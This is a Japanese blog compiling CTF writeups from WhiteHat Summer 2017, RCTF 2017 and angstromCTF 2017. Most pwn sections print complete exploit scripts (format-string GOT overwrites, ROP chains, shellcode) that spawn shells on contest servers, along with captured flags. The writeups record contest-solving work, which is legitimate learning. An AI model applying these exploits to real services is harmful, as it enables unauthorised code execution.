読者です 読者をやめる 読者になる 読者になる

h_nosonの日記

競プロなど

WhiteHat Summer Contest 2017 Writeup

shpxで参加してました。 結果はpwnを2問解いて76位。

Writeup

Da Lat city (Pwnable 100)

ELF 32-bit、動的リンク、canaryとNX有効。

% file cheatme
cheatme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=bacaba723fdbcbf8b2d685afb00795a2e6bedf78, stripped
% gdb -q cheatme
Reading symbols from cheatme...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

初めにuser名が聞かれる。これはuser.txtから取ってきた文字列と比較しているだけなので(ローカルでは)簡単に抜けられる。

% echo "hoge" > user.txt
% ./cheatme
foo              _   _                _   _           _           _
             /\        | | | |              | | (_)         | |         | |
            /  \  _   _| |_| |__   ___ _ __ | |_ _  ___ __ _| |_ ___  __| |
           / /\ \| | | | __| '_ \ / _ | '_ \| __| |/ __/ _` | __/ _ \/ _` |
          / ____ | |_| | |_| | | |  __| | | | |_| | (_| (_| | ||  __| (_| |
         /_/    \_\__,_|\__|_| |_|\___|_| |_|\__|_|\___\__,_|\__\___|\__,_|

|       Enter user     :  hoge
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|       Enter Password :

パスワードはgdbで見ていくとContestChallenge-で始まり5文字からなる数値で終わる文字列であるとわかる。最終的には入力のハッシュのようなものを計算して0~15のどれかの数値にしてから8と比較している。なので数値を適当に試せば16分の1の確率でパスワードも突破できる(ここはリモートでも同じ)。パスワードが認証されると./get_flag.pyが実行される。
問題はサーバ上のuser.txtが見れないためuser名がわからないところだが、ファイルの読み込みはすべて相対パスで行われているので自分でuser.txtなどを作っても正常に動かすことができる。

cheatme@pwnssh14-01-contest13:~$ mkdir -p /tmp/hoge/problem/login
cheatme@pwnssh14-01-contest13:~$ cd /tmp/hoge/problem/login/
cheatme@pwnssh14-01-contest13:/tmp/hoge/problem/login$ echo "hoge" > user.txt
cheatme@pwnssh14-01-contest13:/tmp/hoge/problem/login$ ln -s /home/cheatme/problem/login/get_flag.py get_flag.py
cheatme@pwnssh14-01-contest13:/tmp/hoge/problem/login$ /home/cheatme/problem/login/cheatme
|       Enter user     :  hoge
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|       Enter Password :  ContestChallenge-12296
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|       You can read file flag.txt???
|       Loading File: ...                Goodluck!!!. Don't give up!

                                  oooo$$$$$$$$$$$$oooo
                              oo$$$$$$$$$$$$$$$$$$$$$$$$o
                           oo$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o          o$   $$ o$
           o $ oo        o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o        $$ $$ $$o$
        oo $ $ "$      o$$$$$$$$$    $$$$$$$$$$$$$    $$$$$$$$$o        $$$o$$o$
        "$$$$$$o$     o$$$$$$$$$      $$$$$$$$$$$      $$$$$$$$$$o     $$$$$$$$
          $$$$$$$    $$$$$$$$$$$      $$$$$$$$$$$      $$$$$$$$$$$$$  $$$$$$$$$$
          $$$$$$$$$$$$$$$$$$$$$$$    $$$$$$$$$$$$$    $$$$$$$$$$$$$$  "'"$$$
           "$$$"'""$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$     "$$$
            $$$   o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$     "$$$o
           o$$"   $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$       $$$o
           $$$    $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$" "$$$$$$ooooo$$$$o
          o$$$oooo$$$$$  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$   o$$$$$$$$$$$$$$$$$
          $$$$$$$$"$$$$   $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$     $$$$""'""'""
         "'""       $$$$    "$$$$$$$$$$$$$$$$$$$$$$$$$$$$"      o$$$
                    "$$$o     "'"$$$$$$$$$$$$$$$$$$"$$"         $$$
                      $$$o          "$$""$$$$$$"'""           o$$$
                       $$$$o                                o$$$"
                        "$$$$o      o$$$$$$o"$$$$o        o$$$$
                          "$$$$$oo     ""$$$$o$$$$$o   o$$$$""
                             ""$$$$$oooo  "$$$o$$$$$$$$$"'"
                                ""$$$$$$$oo $$$$$$$$$$
                                        "'"$$$$$$$$$$$
                                            $$$$$$$$$$$$
                                             $$$$$$$$$$"
                                              "$$$"'""

   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

get_flag.pyにシンボリックリンクを貼って実行してみたら馬鹿にされてしまった。しかしget_flag.pyは自分で作ればいい。

#!/usr/bin/env python

if __name__ == '__main__':
    with open("/home/cheatme/problem/login/flag.txt","r") as f:
        print f.read()
cheatme@pwnssh14-01-contest13:/tmp/hoge/problem/login$ chmod +x get_flag.py
cheatme@pwnssh14-01-contest13:/tmp/hoge/problem/login$ /home/cheatme/problem/login/cheatme
|       Enter user     :  hoge
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|       Enter Password :  ContestChallenge-12296
   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|       You can read file flag.txt???
|       Loading File: ...Life is trying things to see if they work.

   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

よってフラグは

% echo -n "Life is trying things to see if they work." | sha1sum
a07efd2a91b4ab10d7ce12a8b6c6902aa4e2246e  -
WhiteHat{a07efd2a91b4ab10d7ce12a8b6c6902aa4e2246e}

Mui Ne

ELF 32-bit、動的リンク、canaryとNX有効。

% file fomat_me
fomat_me: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=bcdcd688ea5cc831304ff1a8b3f8d456c6669f04, not stripped
% gdb -q fomat_me
Reading symbols from fomat_me...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

入力した文字列を繰り返すプログラム。fsb脆弱性がある。

% ./fomat_me
echo aaa
aaa
% ./fomat_me
echo %p
(nil)

printfをした後に関数はstack_chk_failしかないが、わざとスタックバッファオーバーフローを起こして__stack_chk_failを呼ばせればいい。

% objdump -d -M intel fomat_me
...
 8048585:       e8 36 fe ff ff          call   80483c0 <printf@plt>
 804858a:       83 c4 10                add    esp,0x10
 804858d:       b8 00 00 00 00          mov    eax,0x0
 8048592:       8b 55 f4                mov    edx,DWORD PTR [ebp-0xc]
 8048595:       65 33 15 14 00 00 00    xor    edx,DWORD PTR gs:0x14
 804859c:       74 05                   je     80485a3 <main+0x88>
 804859e:       e8 3d fe ff ff          call   80483e0 <__stack_chk_fail@plt>
 80485a3:       8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
 80485a6:       c9                      leave
 80485a7:       8d 61 fc                lea    esp,[ecx-0x4]
 80485aa:       c3                      ret
...

1回目のprintfでstack_chk_failをmainの先頭に戻すと同時にlibc_baseをleakして、2回目のprintfでprintfをsystemに書き換え、3回目のprintf(systemになっている)に"/bin/sh"を渡してシェルを起動させる。 下のコードではstack_chk_failを、1回目はmainの先頭、2回目はgetsの直前にしているが、こうしなくてはいけない原因はわからない。(初めからgetsの直前にもってくればよさそうだけどうまくいかなかった)
ローカルではシェルを動かすことができたが、サーバのlibcとバージョンが違ったため、その差を埋めるのがとても時間がかかった。libcのバージョンは、あらかじめprintfなどのアドレスをleakさせておいてから

github.com

を使うとわかる(助けていただいたチームメイトに圧倒的感謝!)。

#!/usr/bin/env python
from ppapwn import *
import sys

if __name__ == '__main__':
    stack_chk_got = 0x804a014
    printf_got = 0x804a00c
    gets_got = 0x804a010
    main = 0x804851b
    main2 = 0x804856c

    if len(sys.argv) == 1:
        s = Local(["./fomat_me"])
        printf_offset = 0x49020
        system_offset = 0x3a940
    else:
        s = Remote("formatme.wargame.whitehat.vn",1337)
        printf_offset = 0x49670
        system_offset = 0x3ada0

    payload = ""
    payload += p32(stack_chk_got)
    payload += p32(stack_chk_got+2)
    payload += p32(printf_got)
    payload += "%" + str(u32(p32(main)[0:2]) - 12) + "x"
    payload += "%7$hn"
    payload += "%" + str((u32(p32(main)[2:4]) - u32(p32(main)[0:2])) & 0xffff) + "x"
    payload += "%8$hn"
    payload += "leak:%9$s"
    payload += "A" * 0x50
    s.sendline(payload)
    s.recvuntil("leak:")
    libc_base = u32(s.recv(4)) - printf_offset
    print "[*] libc base is at", hex(libc_base)

    system_addr = libc_base + system_offset
    payload = ""
    payload += p32(printf_got)
    payload += p32(printf_got+2)
    payload += p32(stack_chk_got)
    payload += p32(stack_chk_got+2)
    payload += "%" + str(u32(p32(system_addr)[0:2]) - 16) + "x"
    payload += "%7$hn"
    payload += "%" + str((u32(p32(system_addr)[2:4]) - u32(p32(system_addr)[0:2])) & 0xffff) + "x"
    payload += "%8$hn"
    payload += "%" + str((u32(p32(main2)[0:2]) - u32(p32(system_addr)[2:4])) & 0xffff) + "x"
    payload += "%9$hn"
    payload += "%" + str((u32(p32(main2)[2:4]) - u32(p32(main2)[0:2])) & 0xffff) + "x"
    payload += "%10$hn"
    payload += "A" * 0x50
    payload += "hoge"
    s.sendline(payload)
    s.recvuntil("hoge")
    s.sendline("/bin/sh")
    s.interact()
% ./exploit.py remote
[*] libc base is at 0xf75c3000
[*] Switching to interactive mode

$ ls
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
my_ssh_key
my_ssl_key
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
$ whoami
format_me
$ cd /home/format_me
$ ls
flag
format_meb1946ac92492d2347c6235b4d2611184
$ cat flag
%n_was_a_good_idea?

よってフラグは

% echo -n "%n_was_a_good_idea?" | sha1sum
196841c60f4408dd151af3ce7f4dc84f9583cc7a  -
WhiteHat{196841c60f4408dd151af3ce7f4dc84f9583cc7a}

感想

調べる力の無さを痛感した。

RCTF 2017 Writeup

ogteckで参加していました。 後輩と参加してましたが結局解いたのは自分だけでした。
Misc1問、Pwn2問解いて752点、86位。

PwnのRecho、RCalc、RNoteは個人的に面白かったです(RNoteは解けてないが)。
解いたチーム数によって点数が変わるシステムもよかった。

Writeup

Sign In (Misc 32)

IRCのチャンネルに参加するとフラグがもらえる。

RCTF{Welcome_To_RCTF_2017}

Recho (Pwn 370)

ELF 64-bit、動的リンク、NX有効。

% file Recho
Recho: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64
/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6696795a3d110750d6229d85238cad1a6789229
8, not stripped
% checksec -f Recho
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fo
rtified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      04
Recho

1行目で文字数、2行目で文字列を入力すると同じ文字列を返してくる。

% ./Recho
Welcome to Recho server!
12
AAAAAAAAAAAA
AAAAAAAAAAAA
11
AAAAAAAAAAA
AAAAAAAAAAA

何もチェックを行わず入力した値をreadに渡しているためスタックバッファオーバーフローを起こせる。

  4007c2:       e8 59 fe ff ff          call   400620 <atoi@plt>
  4007c7:       89 45 fc                mov    DWORD PTR [rbp-0x4],eax
  4007ca:       83 7d fc 0f             cmp    DWORD PTR [rbp-0x4],0xf
  4007ce:       7f 07                   jg     4007d7 <main+0x46>
  4007d0:       c7 45 fc 10 00 00 00    mov    DWORD PTR [rbp-0x4],0x10
  4007d7:       8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
  4007da:       48 63 d0                movsxd rdx,eax
  4007dd:       48 8d 45 d0             lea    rax,[rbp-0x30]
  4007e1:       48 89 c6                mov    rsi,rax
  4007e4:       bf 00 00 00 00          mov    edi,0x0
  4007e9:       e8 12 fe ff ff          call   400600 <read@plt>

ROPを組んでシェルを起動すればいいわけだが、readの返り値が0の時にretが呼ばれるため、接続を切らなくてはいけない。正確には送信方向の接続を切る必要がある(コマンドラインではctrl-D、pythonではsock.shutdown(SHUT_WR))。そのため、ROPの途中でlibc_baseをleakして適応的にROPを再構成する、などということはできない。また、シェルを起動してもコマンドを送れないため、シェルを起動せずに直接フラグを得る必要がある。
フラグのファイル名を指定する必要があるが、retにたどり着いた時点のレジスタの値を見てみるとrsiに文字列へのポインタが格納されているのでここにファイル名を指定してopenのような関数に渡せればよさそう。

RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7b04680 (<__read_nocancel+7>:       cmp    rax,0xfffffffffffff001)
RDX: 0x10
RSI: 0x7fffffffe9a0 --> 0xa3231 ('12\n')
RDI: 0x0
RBP: 0x400840 (<__libc_csu_init>:       push   r15)
RSP: 0x7fffffffe9e8 --> 0x7ffff7a2e830 (<__libc_start_main+240>:        mov    edi,eax)
RIP: 0x400834 (<main+163>:      ret)

第二引数にファイル名を指定する関数をexec系、open系を中心に探してみるとopenatという関数が見つかった。

% man openat
NAME
       open, openat, creat - open and possibly create a file

SYNOPSIS
       int openat(int dirfd, const char *pathname, int flags);
       int openat(int dirfd, const char *pathname, int flags, mode_t mode);

第一引数にディレクトリファイルディスクリプタを指定する以外はopenと同じ。pathnameにはdirfdからの相対パスまたは絶対パスを指定する。また、dirfdにAT_FDCWD (= -100)を指定するとpathnameがカレントディレクトリからの相対パスとして扱われる(つまりopenと同じように使える)。これを使ってopenat->read->writeでフラグを得られる。
add byte [rdi], al; retのgadgetがあったのでこれを使ってwriteのGOTをopenatに変えることでopenatを呼び出した。

from ppapwn import *
import sys

if __name__ == '__main__':
    if len(sys.argv) == 1:
        s = Local(["./Recho"])
    else:
        s = Remote("recho.2017.teamrois.cn",9527)

    read_plt = 0x400600
    write_plt = 0x4005d0
    write_got = 0x601018
    write_offset = 0xf66d0
    openat_offset = 0xf6510
    add_rdi_al = 0x40070d
    pop_rdi = 0x4008a3
    pop_rax = 0x4006fc
    pop_rdx = 0x4006fe
    pop_rsi_r15 = 0x4008a1
    bss_addr = 0x601060

    payload = ""
    payload += "A" * 0x38

    # write -> openat
    payload += p64(pop_rdi) + p64(write_got)
    payload += p64(pop_rax) + p64(0x40)
    payload += p64(add_rdi_al)
    payload += p64(pop_rdi) + p64(write_got+1)
    payload += p64(pop_rax) + p64(0xff)
    payload += p64(add_rdi_al)

    # openat
    payload += p64(pop_rdi) + p64(0xffffff9c)
    payload += p64(pop_rdx) + p64(0)
    payload += p64(write_plt)

    # openat -> write
    payload += p64(pop_rdi) + p64(write_got)
    payload += p64(pop_rax) + p64(0xc0)
    payload += p64(add_rdi_al)
    payload += p64(pop_rdi) + p64(write_got+1)
    payload += p64(pop_rax) + p64(1)

    # read
    payload += p64(pop_rdi) + p64(3)
    payload += p64(pop_rsi_r15) + p64(bss_addr) + "A" * 8
    payload += p64(pop_rdx) + p64(0x100)
    payload += p64(read_plt)

    # write
    payload += p64(pop_rdi) + p64(1)
    payload += p64(write_plt)

    s.send(str(len(payload)))
    s.send(payload)
    s.send("flag")
    s.close()
    s.recvuntil("AX")
    print s.recvline()
% python exploit.py remote
RCTF{l0st_1n_th3_3ch0_d6794b}

今までは接続を切るときはsocket全体を閉じていたが、初めに送信方向の接続だけを切る方がpwnに限らずいいかもしれない。

追記:0x601058に"flag"という文字列があるのでそれを使えばopenでできるらしい。

RCalc (Pwn 350)

ELF 64-bit、動的リンク、NX有効。

% file RCalc
RCalc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64
/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a4fc0eac70bfe647c94e2819a07c84d69d64988
8, stripped
% checksec -f RCalc
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fo
rtified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      04
RCalc

四則演算を行うプログラムで計算結果を保存する機能がある。

% ./RCalc
Input your name pls: h_noson
Hello h_noson!
Welcome to RCTF 2017!!!
Let's try our smart calculator
What do you want to do?
1.Add
2.Sub
3.Mod
4.Multi
5.Exit
Your choice:1
input 2 integer: 10
30
The result is 40
Save the result? yes
What do you want to do?
1.Add
2.Sub
3.Mod
4.Multi
5.Exit
Your choice:5

名前の入力はscanf(“%s”)で行っているためスタックバッファオーバーフローする。しかし、オレオレcanaryがあるためオーバーフローは検知されてしまう(最後にNo!!!と出ているのがそれ)。

ubuntu-xenial% python -c 'print "A"*0x200; print 5' | ./RCalc
Input your name pls: Hello AAAA...A!
Welcome to RCTF 2017!!!
Let's try our smart calculator
What do you want to do?
1.Add
2.Sub
3.Mod
4.Multi
5.Exit
Your choice:No!!!

canaryの機構はpush_canaryとpop_canaryで構成されており、canaryはheapに保存されている。関数呼び出しの度にpush_canaryを行い、関数から出る直前でpop_canaryで取り出した値とスタックの値が等しいかチェックしている。
また、上で触れた計算結果を保存する機能もheapを使っており、計算結果をpushしていくように保存する。そのため計算結果の保存を繰り返し行うとcanaryのアドレスに値を入れることが可能になり、canaryの値をいじることができる。これによってオーバーフロー検知を回避できる。これでripを奪えたのでROPを組んでシェルを起動させる。GOTのアドレスが0x6020xxになっていてscanf(“%s”)では0x20が区切り文字として判定されてしまうためうまくいかず、一度"%ulld"を入力してscanf(“%ulld”)でROPをbss上で再構築してからleaveでrspbssに移した(pop rdxのgadgetがなかったためreadは使えなかった)。あとはいつものようにlibc_baseをleakしてsystemを呼び出す。

from ppapwn import *
import sys
import time

if __name__ == '__main__':
    if len(sys.argv) == 1:
        s = Local(["./RCalc"])
    else:
        s = Remote("rcalc.2017.teamrois.cn",2333)

    puts_plt = 0x400820
    puts_got = 0x602020
    puts_offset = 0x6f690
    system_offset = 0x45390
    scanf_plt = 0x4008e0
    pop_rdi = 0x401123
    pop_rsi_r15 = 0x401121
    leave = 0x401034
    bss_addr = 0x6029c0
    ps_str = 0x401203

    payload = ""
    payload += "A" * 0x108
    payload += p64(0)
    payload += p64(bss_addr-8)
    payload += p64(pop_rdi) + p64(ps_str)
    payload += p64(pop_rsi_r15) + p64(bss_addr+0x110) + "A" * 8
    payload += p64(scanf_plt)
    for i in range(-8,8*11,8):
        payload += p64(pop_rdi) + p64(bss_addr+0x110)
        payload += p64(pop_rsi_r15) + p64(bss_addr+i) + "A" * 8
        payload += p64(scanf_plt)
    payload += p64(pop_rdi) + p64(ps_str)
    payload += p64(pop_rsi_r15) + p64(bss_addr+0x100) + "A" * 8
    payload += p64(scanf_plt)
    payload += p64(leave)
    s.sendline(payload)

    for i in range((0x603160-0x603050) // 8):
        s.sendline("1")
        s.sendline("1")
        s.sendline("0")
        s.send("yes")
        time.sleep(0.1)
    s.sendline("1")
    s.sendline("0")
    s.sendline("0")
    s.send("yes")
    s.recvuntil("The result is 0")
    s.recvuntil("Your choice:")
    s.sendline("5")

    s.sendline("%ulld")
    s.sendline("0")
    s.sendline(str(pop_rdi))
    s.sendline(str(puts_got))
    s.sendline(str(puts_plt))
    s.sendline(str(pop_rdi))
    s.sendline(str(ps_str))
    s.sendline(str(pop_rsi_r15))
    s.sendline(str(bss_addr+8*11))
    s.sendline("0")
    s.sendline(str(scanf_plt))
    s.sendline(str(pop_rdi))
    s.sendline(str(bss_addr+0x100))
    s.sendline("/bin/sh")

    libc_base = u64(s.recvline()) - puts_offset
    print "[*] libc base is at", hex(libc_base)
    s.sendline(p64(libc_base+system_offset))
    s.interact()
% python exploit.py remote
[*] libc base is at 0x7f52bd02c000
[*] Switching to interactive mode

$ ls
RCalc
bin
dev
flag
lib
lib32
lib64
$ cat flag
RCTF{Y0u_kn0w_th3_m4th_9e78cc}

感想

やっぱり一人は厳しい

angstromctf 2017 Writeup

angstromCTF

チームで参加しました。
Crypto1問、Binary4問解いて470点。チーム全体で780点取り15位でした。
他のメンバーのWriteup

Writeup

Running in Circles (Binary 50)

このCTFのBinaryはすべてソースコードも渡された。 ソースコードを見てみるとシェルを開く関数が用意されている。

void give_shell()
{
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    system("/bin/sh -i");
}

mainでは入力するバイト数を読み込んでその分読み込みを行うようになっている。elseの部分を見てみると256引いてから残りのバイト数をチェックせずに読み込んでいるため、スタックバッファオーバーフローが起こせる。あとは戻り番地をシェルを開く関数に変えて終わり。

int main(int argc, char **argv)
{
    char buffer[256];
    int pos = 0;

    printf("Welcome to the circular buffer manager:\n\n");
    while(1)
    {
        int len;
        printf("How many bytes? "); fflush(stdout);
        scanf("%u", &len);
        fgets(buffer, 2, stdin);

        if (len == 0) break;

        printf("Enter your data: "); fflush(stdout);
        if (len < 256 - pos)
        {
            fgets(&buffer[pos], len, stdin);
            pos += len;
        }
        else
        {
            fgets(&buffer[pos], 256 - pos, stdin);
            len -= (256 - pos);
            pos = 0;

            fgets(&buffer[0], len, stdin);
            pos += len;
        }

        printf("\n");
    }

    return 0;
}
from ppapwn import *
import time

if __name__ == '__main__':
    s = Local(["./run_circles"])
    print s.recvuntil("bytes? ")
    s.sendline("544")
    print s.recvuntil("data: ")
    s.sendline("A"*535 + p64(0x400806))
    print s.recvuntil("bytes? ")
    s.sendline("0")
    s.interact()

Art of the Shell (Binary 80)

void be_nice_to_people()
{
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
}

void vuln(char *input)
{
    char buf[64];
    strcpy(buf, input);
}

int main(int argc, char **argv)
{
    if (argc != 2)
    {
        printf("Usage: art_of_the_shell [str]\n");
        return 1;
    }

    be_nice_to_people();
    vuln(argv[1]);

    return 0;
}

権限昇格をしてくれているのでシェルを開くだけでよさそう。strcpyはraxにbufの先頭番地を格納するので、シェルコードをbufの先頭に置いてROPでjmp raxをすればいい。

# exploit.py
from ppapwn import *

if __name__ == '__main__':
    payload = ""
    payload += get_shellcode("lin64")
    payload += "A" * (72 - len(payload))
    payload += "\x65\x05\x40" # jmp rax
    print payload
$ ./art_of_the_shell $(python exploit.py)

To-Do List (Binary 140)

リストを表示する部分にフォーマットストリングバグの脆弱性がある。

void view_list()
{
    char list_name[16];
    if (!read_list_name(list_name)) return;

    FILE *fp = fopen(list_name, "r");
    if (!fp)
    {
        printf("Error opening list\n");
        return;
    }

    char item[ITEM_LENGTH];
    while (readline(item, ITEM_LENGTH, fp))
    {
        printf(item);
        printf("\n");
    }

    fclose(fp);
}

以下のように繰り返し%pを入れると10個目の引数の部分がbufの先頭に当たることがわかる。

> c
Enter the name of the list: hoge
AAAAAAAA%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p

> v
Enter the name of the list: hoge
AAAAAAAA0x1,0x2e,0xe,0x7ffc410fa660,0x2c70252c70252c70,0x7ffc410fa6c0,0x232c010,0x65676f68,(nil),0x4141414141414141,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70

writelineで入力で受け取った文字列をfwriteに入れているのでfwriteをsystemに変えればシェルを開けそうとわかる。

static void writeline(char *buffer, int len, FILE *fp)
{
    int newline_idx = strcspn(buffer, "\0");
    if (newline_idx == len) newline_idx = len - 1;

    buffer[newline_idx] = '\n';
    fwrite(buffer, newline_idx + 1, 1, fp);
}

fwriteのGOTをsystemのアドレスに上書きするために、まず以下のようにfwriteのオフセットを知り、実際のfwriteの番地からオフセットの値を引くことでlibcの番地を割り出す。そのlibcの番地にsystemのオフセットを足せばsystemのアドレスになるのでその値をfwriteのGOTに上書きする。

ubuntu-xenial% ldd todo_list
        linux-vdso.so.1 =>  (0x00007ffe60ad0000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb2a916b000)
        /lib64/ld-linux-x86-64.so.2 (0x00005600f5703000)
ubuntu-xenial% nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep -e " fwrite$" -e " system$"
000000000006e6e0 W fwrite
0000000000045390 W system

以下がexploitコード。ペイロードを送るときにバッファにゴミが入っていることがあるため、初めに(8~9行目あたりで)0埋めしている。

from ppapwn import *

def leak(addr):
    s.sendline("c")
    s.recvuntil("list: ")
    s.sendline("leak_addr")
    for i in range(1,63)[::-1]:
        s.sendline("A"*i)
    s.sendline("%11$sAAA" + p64(addr))
    s.sendline("")

    s.sendline("v")
    s.recvuntil("list: ")
    s.sendline("leak_addr")
    s.recvuntil("\nA\n")
    return u64(s.recvuntil("AAA")[:-3])

def got_overwrite(target,addr):
    s.recvuntil("> ")
    s.sendline("c")
    s.sendline("got_overwrite")
    for i in range(1,63)[::-1]:
        s.sendline("A"*i)
    for i in range(0,6,2):
        payload = ""
        payload += "%" + str(u64(p64(addr)[i:i+2])).rjust(6,'0') + "x"
        payload += "%12$hnAA"
        payload += p64(target+i)
        s.sendline(payload)
    s.sendline("")
    s.recvuntil("> ")
    s.sendline("v")
    s.sendline("got_overwrite")
    s.recvuntil("> ")

if __name__ == '__main__':
    if len(sys.argv) == 1:
        s = Local(["./todo_list"])
    else:
        s = Remote("shell.angstromctf.com",9000)
    s.sendline("hack")
    s.sendline("hack")

    got_fwrite = 0x6020c8
    offset_fwrite = 0x6e6e0
    offset_system = 0x45390

    libc_base = leak(got_fwrite) - offset_fwrite
    print "[*] leak libc base:", hex(libc_base)

    print "[*] overwrite fwrite GOT"
    got_overwrite(got_fwrite,libc_base+offset_system)

    s.sendline("c")
    s.sendline("exploit")
    s.sendline("/bin/sh")
    s.recvuntil("list: ")
    s.interact()

No libc for You (Binary 150)

getsしてるだけの単純なプログラム。スタックバッファオーバーフロー脆弱性がある。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vuln()
{
    char buf[64];

    gets(buf);
    printf("You said: %s\n", buf);
}

int main(int argc, char **argv)
{
    vuln();

    return 0;
}
ubuntu-xenial% file nolibc4u
nolibc4u: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=5706d8c0dd81b6dd639555de66affc8100fc4887, not stripped

静的リンクなので関数のアドレスは簡単にわかるがsystemはない。なのでROPでシステムコールを呼び出すことによってシェルを起動することにした。 以下のようなアセンブリコードをROPで実現する。

# setresuid(1003,1003,1003)
mov rax, 0x75
mov rdi, 1003
mov rsi, 1003
mov rdx, 1003
syscall

# execve("/bin/sh",0,0)
mov rax, 0x3b
mov rdi, ["/bin/sh"のアドレス]
mov rsi, 0
mov rdx, 0
syscall

それぞれのガジェットを探してみるとpop rax以外は見つかった。

ubuntu-xenial% rp++ -f nolibc4u -r 2 --unique | grep -e "pop rdi ; ret" -e "pop rdx ; pop rsi"
0x004014c6: pop rdi ; ret  ;  (177 found)
0x00441d29: pop rdx ; pop rsi ; ret  ;  (1 found)
ubuntu-xenial% rp++ -f nolibc4u -r 1 --unique | grep "syscall" | grep "ret"
0x004666d5: syscall  ; ret  ;  (5 found)

そこで、printfが出力した文字列の長さをraxに入れて返すということを使ってraxに値を代入した。例えば、長さ0x75の文字列を用意してprintfすればraxに0x75が入る。また、このprintfで出力する文字や"/bin/sh"はスタックに書き込んでもアドレスがわからないため、bssセクションを使った。bssセクションのアドレスはreadelfコマンドでわかる。

ubuntu-xenial% readelf -S nolibc4u | grep "\.bss"
  [26] .bss              NOBITS           00000000006cab60  000cab50
from ppapwn import *

if __name__ == '__main__':
    syscall = 0x4666d5
    pop_rdi = 0x4014c6
    pop_rdx_rsi = 0x441d29
    xor_rax = 0x42550f
    bss = 0x6cab60
    vuln = 0x4009ae
    gets = 0x40fb60
    printf = 0x40f330

    s = Local(["./nolibc4u"])
    # s = Local(["/problems/no_libc_for_you/nolibc4u"])

    payload = "A" * 72
    payload += p64(pop_rdi) + p64(bss)
    payload += p64(gets)
    payload += p64(pop_rdi) + p64(bss+8)
    payload += p64(gets)
    payload += p64(pop_rdi) + p64(bss+8)
    payload += p64(xor_rax)
    payload += p64(printf)
    payload += p64(pop_rdi) + p64(0)
    payload += p64(pop_rdx_rsi) + p64(0) + p64(0)
    # payload += p64(pop_rdi) + p64(1003)
    # payload += p64(pop_rdx_rsi) + p64(1003) + p64(1003)
    payload += p64(syscall)
    payload += p64(vuln)
    s.sendline(payload)

    s.sendline("/bin/sh")
    s.sendline("A" * 117)

    payload = "A" * 48 + "\0" + "A" * 23
    payload += p64(pop_rdi) + p64(bss)
    payload += p64(pop_rdx_rsi) + p64(0) + p64(0)
    payload += p64(syscall)
    s.sendline(payload)

    s.interact()

Descriptions (Crypto 50)

テキストファイルが一つ渡される。

The horse was a small falcon runner.
The horse was a huge goat pitcher.
The pig is a quick falcon singer.
The goat was a quick sheep speaker.
The sheep is the big goat pitcher.
The sheep was a slow sheep hitter.
The horse is a tiny goat dancer.
A cow is the huge bluejay dancer.
The falcon is the fast sheep pitcher.
The pig was a speedy falcon pitcher.
The pig was the speedy goat singer.
The goat was a huge sheep hitter.
The horse was the speedy sheep runner.
